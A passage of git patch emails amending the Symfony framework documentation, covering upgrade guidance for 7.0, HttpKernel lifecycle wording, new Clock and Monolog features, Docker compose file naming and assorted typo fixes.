 .. _`Rector`: https://github.com/rectorphp/rector

From cbac28f28e9e8c9ac236717730057db8ff3ae613 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Mon, 26 Feb 2024 07:13:01 +0100
Subject: [PATCH 5842/7107] chore: document major upgrade with latest versions

ref https://github.com/symfony/symfony-docs/pull/19600
---
 setup/upgrade_major.rst | 30 ++++++++++++++----------------
 1 file changed, 14 insertions(+), 16 deletions(-)

diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index 9e18c88ccd6..13f6feab6d1 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -1,4 +1,4 @@
-Upgrading a Major Version (e.g. 5.4.0 to 6.0.0)
+Upgrading a Major Version (e.g. 6.4.0 to 7.0.0)
 ===============================================
 
 Every two years, Symfony releases a new major version release (the first number
@@ -27,10 +27,10 @@ backwards incompatible changes. To accomplish this, the "old" (e.g. functions,
 classes, etc) code still works, but is marked as *deprecated*, indicating that
 it will be removed/changed in the future and that you should stop using it.
 
-When the major version is released (e.g. 6.0.0), all deprecated features and
+When the major version is released (e.g. 7.0.0), all deprecated features and
 functionality are removed. So, as long as you've updated your code to stop
 using these deprecated features in the last version before the major (e.g.
-``5.4.*``), you should be able to upgrade without a problem. That means that
+``6.4.*``), you should be able to upgrade without a problem. That means that
 you should first :doc:`upgrade to the last minor version </setup/upgrade_minor>`
 (e.g. 5.4) so that you can see *all* the deprecations.
 
@@ -107,7 +107,7 @@ done!
 .. sidebar:: Using the Weak Deprecations Mode
 
     Sometimes, you can't fix all deprecations (e.g. something was deprecated
-    in 5.4 and you still need to support 5.3). In these cases, you can still
+    in 6.4 and you still need to support 6.3). In these cases, you can still
     use the bridge to fix as many deprecations as possible and then allow
     more of them to make your tests pass again. You can do this by using the
     ``SYMFONY_DEPRECATIONS_HELPER`` env variable:
@@ -144,12 +144,10 @@ starting with ``symfony/`` to the new major version:
           "...": "...",
 
           "require": {
-    -         "symfony/cache": "5.4.*",
-    +         "symfony/cache": "6.0.*",
-    -         "symfony/config": "5.4.*",
-    +         "symfony/config": "6.0.*",
-    -         "symfony/console": "5.4.*",
-    +         "symfony/console": "6.0.*",
+    -         "symfony/config": "6.4.*",
+    +         "symfony/config": "7.0.*",
+    -         "symfony/console": "6.4.*",
+    +         "symfony/console": "7.0.*",
               "...": "...",
 
               "...": "A few libraries starting with symfony/ follow their own
@@ -157,22 +155,22 @@ starting with ``symfony/`` to the new major version:
                       symfony/ux-[...], symfony/[...]-bundle).
                       You do not need to update these versions: you can
                       upgrade them independently whenever you want",
-              "symfony/monolog-bundle": "^3.5",
+              "symfony/monolog-bundle": "^3.10",
           },
           "...": "...",
       }
 
 At the bottom of your ``composer.json`` file, in the ``extra`` block you can
 find a data setting for the Symfony version. Make sure to also upgrade
-this one. For instance, update it to ``6.0.*`` to upgrade to Symfony 6.0:
+this one. For instance, update it to ``7.0.*`` to upgrade to Symfony 7.0:
 
 .. code-block:: diff
 
       "extra": {
           "symfony": {
               "allow-contrib": false,
-    -       "require": "5.4.*"
-    +       "require": "6.0.*"
+    -       "require": "6.4.*"
+    +       "require": "7.0.*"
           }
       }
 
@@ -215,13 +213,13 @@ included in the Symfony repository for any BC break that you need to be aware of
 Upgrading to Symfony 6: Add Native Return Types
 -----------------------------------------------
 
-Symfony 6 will come with native PHP return types to (almost all) methods.
+Symfony 6 and Symfony 6 have come with native PHP return types to (almost all) methods.
 
 In PHP, if the parent has a return type declaration, any class implementing
 or overriding the method must have the return type as well. However, you
 can add a return type before the parent adds one. This means that it is
 important to add the native PHP return types to your classes before
-upgrading to Symfony 6.0. Otherwise, you will get incompatible declaration
+upgrading to Symfony 6.0 or 7.0. Otherwise, you will get incompatible declaration
 errors.
 
 When debug mode is enabled (typically in the dev and test environment),

From 42c8fd95b10afde018b6017560f26dd77f466df2 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Mon, 26 Feb 2024 08:08:44 +0100
Subject: [PATCH 5843/7107] chore: replace `workflow` by `flow` and add more
 context

---
 components/http_kernel.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 17ea754b70c..79b3f0a3ced 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -15,8 +15,8 @@ Installation
 
 .. include:: /components/require_autoload.rst.inc
 
-The Workflow of a Request
--------------------------
+The Full Flow of a Request-Response lifecycle
+---------------------------------------------
 
 .. seealso::
 
@@ -29,7 +29,7 @@ The Workflow of a Request
 Every HTTP web interaction begins with a request and ends with a response.
 Your job as a developer is to create PHP code that reads the request information
 (e.g. the URL) and creates and returns a response (e.g. an HTML page or JSON string).
-This is a simplified overview of the request workflow in Symfony applications:
+This is a simplified overview of the request to response flow in Symfony applications:
 
 #. The **user** asks for a **resource** in a **browser**;
 #. The **browser** sends a **request** to the **server**;
@@ -66,7 +66,7 @@ that system::
 
 Internally, :method:`HttpKernel::handle() <Symfony\\Component\\HttpKernel\\HttpKernel::handle>` -
 the concrete implementation of :method:`HttpKernelInterface::handle() <Symfony\\Component\\HttpKernel\\HttpKernelInterface::handle>` -
-defines a workflow that starts with a :class:`Symfony\\Component\\HttpFoundation\\Request`
+defines a process flow that starts with a :class:`Symfony\\Component\\HttpFoundation\\Request`
 and ends with a :class:`Symfony\\Component\\HttpFoundation\\Response`.
 
 .. raw:: html
@@ -75,7 +75,7 @@ and ends with a :class:`Symfony\\Component\\HttpFoundation\\Response`.
         alt="A flow diagram showing all HTTP Kernel events in the Request-Response lifecycle. Each event is numbered 1 to 8 and described in detail in the following subsections."
     ></object>
 
-The exact details of this workflow are the key to understanding how the kernel
+The exact details of this flow are the key to understanding how the kernel
 (and the Symfony Framework or any other library that uses the kernel) works.
 
 HttpKernel: Driven by Events

From cf168920c97fed86faa4a28391ca4793406936ea Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Mon, 26 Feb 2024 08:19:44 +0100
Subject: [PATCH 5844/7107] chore: replace word throw by dispatch for event

---
 components/event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 6e0fcf746e2..c3bf0bae1b2 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -28,7 +28,7 @@ truly extensible.
 Take an example from :doc:`the HttpKernel component </components/http_kernel>`.
 Once a ``Response`` object has been created, it may be useful to allow other
 elements in the system to modify it (e.g. add some cache headers) before
-it's actually used. To make this possible, the Symfony kernel throws an
+it's actually used. To make this possible, the Symfony kernel dispatches an
 event - ``kernel.response``. Here's how it works:
 
 * A *listener* (PHP object) tells a central *dispatcher* object that it

From 3dd28c0de085154c76848717267ade1ae6f09d4e Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 26 Feb 2024 09:08:27 +0100
Subject: [PATCH 5845/7107] [Clock] Introduce `get/setMicroseconds()`

---
 components/clock.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/components/clock.rst b/components/clock.rst
index b803c78e29d..d3879fba84e 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -235,6 +235,23 @@ The constructor also allows setting a timezone or custom referenced date::
     error handling across versions of PHP, thanks to polyfilling `PHP 8.3's behavior`_
     on the topic.
 
+``DatePoint`` also allows to set and get the microsecond part of the date and time::
+
+    $datePoint = new DatePoint();
+    $datePoint->setMicroseconds(345);
+    $microseconds = $datePoint->getMicroseconds();
+
+.. note::
+
+    This feature polyfills PHP 8.4's behavior on the topic, as microseconds manipulation
+    is not available in previous versions of PHP.
+
+.. versionadded:: 7.1
+
+    The :method:`Symfony\\Component\\Clock\\DatePoint::setMicroseconds` and
+    :method:`Symfony\\Component\\Clock\\DatePoint::getMicroseconds` methods were
+    introduced in Symfony 7.1.
+
 .. _clock_writing-tests:
 
 Writing Time-Sensitive Tests

From c2b97715f684ef19b9ecd4f637d6edfd7a283c9c Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 26 Feb 2024 09:18:49 +0100
Subject: [PATCH 5846/7107] [Monolog] Mention `#[WithMonologChannel]`

---
 .doctor-rst.yaml              |  1 +
 logging/channels_handlers.rst | 31 +++++++++++++++++++++++++++++++
 2 files changed, 32 insertions(+)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index c61210111a0..77e07cef699 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -104,5 +104,6 @@ whitelist:
         - '.. versionadded:: 0.2' # MercureBundle
         - '.. versionadded:: 3.6' # MonologBundle
         - '.. versionadded:: 3.8' # MonologBundle
+        - '.. versionadded:: 3.5' # Monolog
         - '.. _`a feature to test applications using Mercure`: https://github.com/symfony/panther#creating-isolated-browsers-to-test-apps-using-mercure-or-websocket'
         - '..  End to End Tests (E2E)'
diff --git a/logging/channels_handlers.rst b/logging/channels_handlers.rst
index b2d4f31ad77..387e25a59f4 100644
--- a/logging/channels_handlers.rst
+++ b/logging/channels_handlers.rst
@@ -194,4 +194,35 @@ change your constructor like this:
             $this->logger = $fooBarLogger;
         }
 
+Configure Logger Channels with Attributes
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Starting from `Monolog`_ 3.5 you can also configure the logger channel
+by using the ``#[WithMonologChannel]`` attribute directly on your service
+class::
+
+    // src/Service/MyFixtureService.php
+    namespace App\Service;
+
+    use Monolog\Attribute\WithMonologChannel;
+    use Psr\Log\LoggerInterface;
+    use Symfony\Bridge\Monolog\Logger;
+
+    #[WithMonologChannel('fixtures')]
+    class MyFixtureService
+    {
+        public function __construct(LoggerInterface $logger)
+        {
+            // ...
+        }
+    }
+
+This way you can avoid declaring your service manually to use a specific
+channel.
+
+.. versionadded:: 3.5
+
+    The ``#[WithMonologChannel]`` attribute was introduced in Monolog 3.5.0.
+
 .. _`MonologBundle`: https://github.com/symfony/monolog-bundle
+.. _`Monolog`: https://github.com/Seldaek/monolog

From 13d7707217af4496d0843c3cc2096d7f27967d30 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Mon, 26 Feb 2024 07:48:51 +0100
Subject: [PATCH 5847/7107] Update http_kernel.rst

---
 components/http_kernel.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 17ea754b70c..23d3654d721 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -489,7 +489,7 @@ as possible to the client (e.g. sending emails).
 
 .. _component-http-kernel-kernel-exception:
 
-Handling Exceptions: the ``kernel.exception`` Event
+9) Handling Exceptions: the ``kernel.exception`` Event
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **Typical Purposes**: Handle some type of exception and create an appropriate

From 6ccf8b01c03c214264fd3cb84030721fdefd0f77 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 Feb 2024 12:05:14 +0100
Subject: [PATCH 5848/7107] Tweaks

---
 components/http_kernel.rst | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index a761a97e42d..ba20039ba79 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -15,8 +15,10 @@ Installation
 
 .. include:: /components/require_autoload.rst.inc
 
-The Full Flow of a Request-Response lifecycle
----------------------------------------------
+.. _the-workflow-of-a-request:
+
+The Request-Response Lifecycle
+------------------------------
 
 .. seealso::
 
@@ -29,7 +31,7 @@ The Full Flow of a Request-Response lifecycle
 Every HTTP web interaction begins with a request and ends with a response.
 Your job as a developer is to create PHP code that reads the request information
 (e.g. the URL) and creates and returns a response (e.g. an HTML page or JSON string).
-This is a simplified overview of the request to response flow in Symfony applications:
+This is a simplified overview of the request-response lifecycle in Symfony applications:
 
 #. The **user** asks for a **resource** in a **browser**;
 #. The **browser** sends a **request** to the **server**;
@@ -66,7 +68,7 @@ that system::
 
 Internally, :method:`HttpKernel::handle() <Symfony\\Component\\HttpKernel\\HttpKernel::handle>` -
 the concrete implementation of :method:`HttpKernelInterface::handle() <Symfony\\Component\\HttpKernel\\HttpKernelInterface::handle>` -
-defines a process flow that starts with a :class:`Symfony\\Component\\HttpFoundation\\Request`
+defines a lifecycle that starts with a :class:`Symfony\\Component\\HttpFoundation\\Request`
 and ends with a :class:`Symfony\\Component\\HttpFoundation\\Response`.
 
 .. raw:: html
@@ -75,7 +77,7 @@ and ends with a :class:`Symfony\\Component\\HttpFoundation\\Response`.
         alt="A flow diagram showing all HTTP Kernel events in the Request-Response lifecycle. Each event is numbered 1 to 8 and described in detail in the following subsections."
     ></object>
 
-The exact details of this flow are the key to understanding how the kernel
+The exact details of this lifecycle are the key to understanding how the kernel
 (and the Symfony Framework or any other library that uses the kernel) works.
 
 HttpKernel: Driven by Events

From f018c09dc2b18ec9a619f5bd8fb93c7eae931b29 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 Feb 2024 12:19:38 +0100
Subject: [PATCH 5849/7107] Replace old docker compose filename

---
 .doctor-rst.yaml         |  1 -
 setup/docker.rst         |  2 +-
 setup/symfony_server.rst | 12 ++++++------
 3 files changed, 7 insertions(+), 8 deletions(-)

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index c61210111a0..93eb40d51f2 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -88,7 +88,6 @@ whitelist:
     regex:
         - '/FOSUserBundle(.*)\.yml/'
         - '/(.*)\.orm\.yml/' # currently DoctrineBundle only supports .yml
-        - /docker-compose\.yml/
     lines:
         - 'in config files, so the old ``app/config/config_dev.yml`` goes to'
         - '#. The most important config file is ``app/config/services.yml``, which now is'
diff --git a/setup/docker.rst b/setup/docker.rst
index 63da416e7bf..c00192e08d4 100644
--- a/setup/docker.rst
+++ b/setup/docker.rst
@@ -19,7 +19,7 @@ Flex Recipes & Docker Configuration
 
 The :ref:`Flex recipe <symfony-flex>` for some packages also include Docker configuration.
 For example, when you run ``composer require doctrine`` (to get ``symfony/orm-pack``),
-your ``docker-compose.yml`` file will automatically be updated to include a
+your ``compose.yaml`` file will automatically be updated to include a
 ``database`` service.
 
 The first time you install a recipe containing Docker config, Flex will ask you
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index c6b817ebdb5..6c666a7ad2e 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -388,7 +388,7 @@ Consider the following configuration:
 
 .. code-block:: yaml
 
-    # docker-compose.yaml
+    # compose.yaml
     services:
         database:
             ports: [3306]
@@ -401,12 +401,12 @@ variables accordingly with the service name (``database``) as a prefix:
 If the service is not in the supported list below, generic environment
 variables are set: ``PORT``, ``IP``, and ``HOST``.
 
-If the ``docker-compose.yaml`` names do not match Symfony's conventions, add a
+If the ``compose.yaml`` names do not match Symfony's conventions, add a
 label to override the environment variables prefix:
 
 .. code-block:: yaml
 
-    # docker-compose.yaml
+    # compose.yaml
     services:
         db:
             ports: [3306]
@@ -471,7 +471,7 @@ check the "Symfony Server" section in the web debug toolbar; you'll see that
 
     .. code-block:: yaml
 
-        # docker-compose.yaml
+        # compose.yaml
         services:
             db:
                 ports: [3306]
@@ -485,10 +485,10 @@ its location, same as for ``docker-compose``:
 .. code-block:: bash
 
     # start your containers:
-    COMPOSE_FILE=docker/docker-compose.yaml COMPOSE_PROJECT_NAME=project_name docker-compose up -d
+    COMPOSE_FILE=docker/compose.yaml COMPOSE_PROJECT_NAME=project_name docker-compose up -d
 
     # run any Symfony CLI command:
-    COMPOSE_FILE=docker/docker-compose.yaml COMPOSE_PROJECT_NAME=project_name symfony var:export
+    COMPOSE_FILE=docker/compose.yaml COMPOSE_PROJECT_NAME=project_name symfony var:export
 
 .. note::
 

From 4c03d572625bf5e579df30581e2b09334c50255f Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 26 Feb 2024 13:26:55 +0100
Subject: [PATCH 5850/7107] [AssetMapper] Shortening "Optimizing Performance"

Page: https://symfony.com/doc/6.4/frontend/asset_mapper.html#optimizing-performance
---
 frontend/asset_mapper.rst | 14 ++++++--------
 1 file changed, 6 insertions(+), 8 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index c8febf65757..108e896147f 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -631,27 +631,25 @@ To make your AssetMapper-powered site fly, there are a few things you need to
 do. If you want to take a shortcut, you can use a service like `Cloudflare`_,
 which will automatically do most of these things for you:
 
-- **Use HTTP/2**: Your web server **must** be running HTTP/2 (or HTTP/3) so the
+- **Use HTTP/2**: Your web server should be running HTTP/2 (or HTTP/3) so the
   browser can download assets in parallel. HTTP/2 is automatically enabled in Caddy
-  and can be activated in Nginx and Apache. Or, proxy your site through a
-  service like Cloudflare, which will automatically enable HTTP/2 for you.
+  and can be activated in Nginx and Apache.
 
 - **Compress your assets**: Your web server should compress (e.g. using gzip)
   your assets (JavaScript, CSS, images) before sending them to the browser. This
   is automatically enabled in Caddy and can be activated in Nginx and Apache.
-  Or, proxy your site through a service like Cloudflare, which will
-  automatically compress your assets for you. In Cloudflare, you can also
+  In Cloudflare, you can also
   enable `auto minify`_ to further compress your assets (e.g. removing
   whitespace and comments from JavaScript and CSS files).
 
 - **Set long-lived Expires headers**: Your web server should set long-lived
-  Expires headers on your assets. Because the AssetMapper component includes a version
-  hash in the filename of each asset, you can safely set the Expires header
+  ``Expires`` HTTP headers on your assets. Because the AssetMapper component includes a version
+  hash in the filename of each asset, you can safely set the ``Expires`` header
   to a very long time in the future (e.g. 1 year). This isn't automatic in
   any web server, but can be easily enabled.
 
 Once you've done these things, you can use a tool like `Lighthouse`_ to
-validate the performance of your site!
+check the performance of your site.
 
 .. _performance-preloading:
 

From 657ba77f68175293cbbabd2c789ddc9e89d44cb6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 26 Feb 2024 13:33:08 +0100
Subject: [PATCH 5851/7107] Minor fix

---
 setup/upgrade_major.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index 13f6feab6d1..13f839f36e1 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -213,7 +213,7 @@ included in the Symfony repository for any BC break that you need to be aware of
 Upgrading to Symfony 6: Add Native Return Types
 -----------------------------------------------
 
-Symfony 6 and Symfony 6 have come with native PHP return types to (almost all) methods.
+Symfony 6 and Symfony 7 added native PHP return types to (almost all) methods.
 
 In PHP, if the parent has a return type declaration, any class implementing
 or overriding the method must have the return type as well. However, you

From fcfc92e74620b1d4ac8285e41e3aa6a108e5669c Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 26 Feb 2024 17:28:40 +0100
Subject: [PATCH 5852/7107] [AssetMapper] Removing PostCSS

Page: https://symfony.com/doc/6.4/frontend.html

Sorry for the back-and-forth!
2 reasons for deleting again:
* I was thinking that PostCSS is some de-facto standard, but it isn't
* It's odd to "recommend" something for CSS, but nothing for JS.

I just suggested to integrate minifying into AssetMapper: https://github.com/symfony/symfony/issues/54070
---
 frontend.rst | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index d62c4dedde5..9e96c5e7dc4 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -35,7 +35,7 @@ Supports Sass/Tailwind            :ref:`yes <asset-mapper-tailwind>`  yes
 Supports React, Vue, Svelte?      yes :ref:`[1] <ux-note-1>`          yes
 Supports TypeScript               :ref:`yes <asset-mapper-ts>`        yes
 Removes comments from JavaScript  no                                  yes
-Removes comments from CSS         no :ref:`[2] <ux-note-2>`           no :ref:`[2] <ux-note-2>`
+Removes comments from CSS         no                                  no
 Versioned assets                  always                              optional
 ================================  ==================================  ==========
 
@@ -46,10 +46,6 @@ need to use their native tools for pre-compilation. Also, some features (like
 Vue single-file components) cannot be compiled down to pure JavaScript that can
 be executed by a browser.
 
-.. _ux-note-2:
-
-**[2]** There are some `PostCSS`_ plugins available to remove comments from CSS files.
-
 .. _frontend-asset-mapper:
 
 AssetMapper (Recommended)

From 0d7c42a6815d4473cd026a039d012805429d986c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Feb 2024 13:20:24 +0100
Subject: [PATCH 5853/7107] Fix syntax issues

---
 components/http_kernel.rst | 2 +-
 frontend.rst               | 1 -
 2 files changed, 1 insertion(+), 2 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 65120081399..9104a9f7b6e 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -511,7 +511,7 @@ as possible to the client (e.g. sending emails).
 .. _component-http-kernel-kernel-exception:
 
 9) Handling Exceptions: the ``kernel.exception`` Event
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **Typical Purposes**: Handle some type of exception and create an appropriate
 ``Response`` to return for the exception
diff --git a/frontend.rst b/frontend.rst
index 9e96c5e7dc4..afc5edff8e3 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -111,4 +111,3 @@ Other Front-End Articles
 .. _`Turbo`: https://turbo.hotwired.dev/
 .. _`Symfony UX`: https://ux.symfony.com
 .. _`API Platform`: https://api-platform.com/
-.. _`PostCSS`: https://postcss.org/

From 47a08f2ac1addf25626958b7aa25b21622788fbb Mon Sep 17 00:00:00 2001
From: bizmate <diego_gullo@bizmate.biz>
Date: Wed, 28 Feb 2024 02:05:12 +0400
Subject: [PATCH 5854/7107] add comments in firewall configuration of
 security.rst to make the firewall precedence more explicit

---
 security.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/security.rst b/security.rst
index b1a7b852c5c..b1ddffdce1a 100644
--- a/security.rst
+++ b/security.rst
@@ -511,6 +511,8 @@ will be able to authenticate (e.g. login form, API token, etc).
                 dev:
                     pattern: ^/(_(profiler|wdt)|css|images|js)/
                     security: false
+                    # add a new firewall here with a specific pattern, the first firewall matched by pattern will be
+                    # executed, if a firewall has no pattern it will match all requests and the others will be skipped
                 main:
                     lazy: true
                     provider: users_in_memory

From e56209eeb3fe0a1a57e695307e786ae5c083c338 Mon Sep 17 00:00:00 2001
From: Andreas Erhard <developer@andaris.at>
Date: Wed, 28 Feb 2024 11:14:30 +0100
Subject: [PATCH 5855/7107] Fix typo

---
 contributing/code/bc.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/contributing/code/bc.rst b/contributing/code/bc.rst
index 3caf969c432..3a4f16c5208 100644
--- a/contributing/code/bc.rst
+++ b/contributing/code/bc.rst
@@ -496,42 +496,42 @@ If that's the case, here is how to do it properly in a minor version:
 #. Add the argument as a comment in the signature::
 
     // the new argument can be optional
-    public function say(string $text, /* bool $stripWithespace = true */): void
+    public function say(string $text, /* bool $stripWhitespace = true */): void
     {
     }
 
     // or required
-    public function say(string $text, /* bool $stripWithespace */): void
+    public function say(string $text, /* bool $stripWhitespace */): void
     {
     }
 
 #. Document the new argument in a PHPDoc::
 
     /**
-     * @param bool $stripWithespace
+     * @param bool $stripWhitespace
      */
 
 #. Use ``func_num_args`` and ``func_get_arg`` to retrieve the argument in the
    method::
 
-        $stripWithespace = 2 <= \func_num_args() ? func_get_arg(1) : false;
+        $stripWhitespace = 2 <= \func_num_args() ? func_get_arg(1) : false;
 
    Note that the default value is ``false`` to keep the current behavior.
 
 #. If the argument has a default value that will change the current behavior,
    warn the user::
 
-    trigger_deprecation('symfony/COMPONENT', 'X.Y', 'Not passing the "bool $stripWithespace" argument explicitly is deprecated, its default value will change to X in Z.0.');
+    trigger_deprecation('symfony/COMPONENT', 'X.Y', 'Not passing the "bool $stripWhitespace" argument explicitly is deprecated, its default value will change to X in Z.0.');
 
 #. If the argument has no default value, warn the user that is going to be
    required in the next major version::
 
     if (\func_num_args() < 2) {
-        trigger_deprecation('symfony/COMPONENT', 'X.Y', 'The "%s()" method will have a new "bool $stripWithespace" argument in version Z.0, not defining it is deprecated.', __METHOD__);
+        trigger_deprecation('symfony/COMPONENT', 'X.Y', 'The "%s()" method will have a new "bool $stripWhitespace" argument in version Z.0, not defining it is deprecated.', __METHOD__);
 
-        $stripWithespace = false;
+        $stripWhitespace = false;
     } else {
-        $stripWithespace = func_get_arg(1);
+        $stripWhitespace = func_get_arg(1);
     }
 
 #. In the next major version (``X.0``), uncomment the argument, remove the

From 25eac32f051fc719e6ec501594bd6f65c5d156d7 Mon Sep 17 00:00:00 2001
From: Thomas Lemaire <thomas-l@users.noreply.github.com>
Date: Fri, 23 Feb 2024 13:46:49 +0100
Subject: [PATCH 5856/7107] create_new_console option only on Windows

---
 components/process.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/process.rst b/components/process.rst
index c3a289645e9..e0ab976b167 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -104,6 +104,10 @@ Configuring Process Options
 
     The feature to configure process options was introduced in Symfony 5.2.
 
+.. caution::
+
+    Windows only
+
 Symfony uses the PHP :phpfunction:`proc_open` function to run the processes.
 You can configure the options passed to the ``other_options`` argument of
 ``proc_open()`` using the ``setOptions()`` method::

From c9e0e9235fac0acba2b69e5d63407453aa817044 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 28 Feb 2024 17:13:30 +0100
Subject: [PATCH 5857/7107] Reword

---
 components/process.rst | 11 +++++++----
 1 file changed, 7 insertions(+), 4 deletions(-)

diff --git a/components/process.rst b/components/process.rst
index e0ab976b167..163df6d9fdb 100644
--- a/components/process.rst
+++ b/components/process.rst
@@ -104,10 +104,6 @@ Configuring Process Options
 
     The feature to configure process options was introduced in Symfony 5.2.
 
-.. caution::
-
-    Windows only
-
 Symfony uses the PHP :phpfunction:`proc_open` function to run the processes.
 You can configure the options passed to the ``other_options`` argument of
 ``proc_open()`` using the ``setOptions()`` method::
@@ -116,6 +112,12 @@ You can configure the options passed to the ``other_options`` argument of
     // this option allows a subprocess to continue running after the main script exited
     $process->setOptions(['create_new_console' => true]);
 
+.. caution::
+
+    Most of the options defined by ``proc_open()`` (such as ``create_new_console``
+    and ``suppress_errors``) are only supported on Windows operating systems.
+    Check out the `PHP documentation for proc_open()`_ before using them.
+
 Using Features From the OS Shell
 --------------------------------
 
@@ -574,3 +576,4 @@ whether `TTY`_ is supported on the current operating system::
 .. _`PHP streams`: https://www.php.net/manual/en/book.stream.php
 .. _`output_buffering`: https://www.php.net/manual/en/outcontrol.configuration.php
 .. _`TTY`: https://en.wikipedia.org/wiki/Tty_(unix)
+.. _`PHP documentation for proc_open()`: https://www.php.net/manual/en/function.proc-open.php

From c804e76e740768c09d9c635ae37799ae2a73456d Mon Sep 17 00:00:00 2001
From: Kik Minev <kokominev@yahoo.com>
Date: Wed, 28 Feb 2024 18:15:14 +0200
Subject: [PATCH 5858/7107] Fix wrong form name

---
 form/dynamic_form_modification.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 9ddeb1bc1b1..72acc7eee0d 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -546,7 +546,7 @@ field according to the current selection in the ``sport`` field:
 .. code-block:: html+twig
 
     {# templates/meetup/create.html.twig #}
-    {{ form_start(form, { attr: { id: 'supply_history_form' } }) }}
+    {{ form_start(form, { attr: { id: 'sport_meetup_form' } }) }}
         {{ form_row(form.sport) }}    {# <select id="meetup_sport" ... #}
         {{ form_row(form.position) }} {# <select id="meetup_position" ... #}
         {# ... #}

From e16d286f3f5ff2c0bd7811b4fa95ca492e212765 Mon Sep 17 00:00:00 2001
From: Vimal Gorasiya <vimalgorasiya7@gmail.com>
Date: Wed, 28 Feb 2024 14:36:56 +0530
Subject: [PATCH 5859/7107] Update routing.rst

---
 routing.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index af3d0d5f6e7..0c3c99c0381 100644
--- a/routing.rst
+++ b/routing.rst
@@ -176,7 +176,9 @@ Use the ``methods`` option to restrict the verbs each route should respond to:
         // src/Controller/BlogApiController.php
         namespace App\Controller;
 
-        // ...
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Routing\Annotation\Route;
 
         class BlogApiController extends AbstractController
         {

From 8c14b05180f0270a8cfa110ec040cb4fbfbd7a57 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 29 Feb 2024 12:20:22 +0100
Subject: [PATCH 5860/7107] Reword

---
 components/http_kernel.rst |  2 +-
 security.rst               | 10 ++++++++--
 2 files changed, 9 insertions(+), 3 deletions(-)

diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index ba20039ba79..5023169e680 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -492,7 +492,7 @@ as possible to the client (e.g. sending emails).
 .. _component-http-kernel-kernel-exception:
 
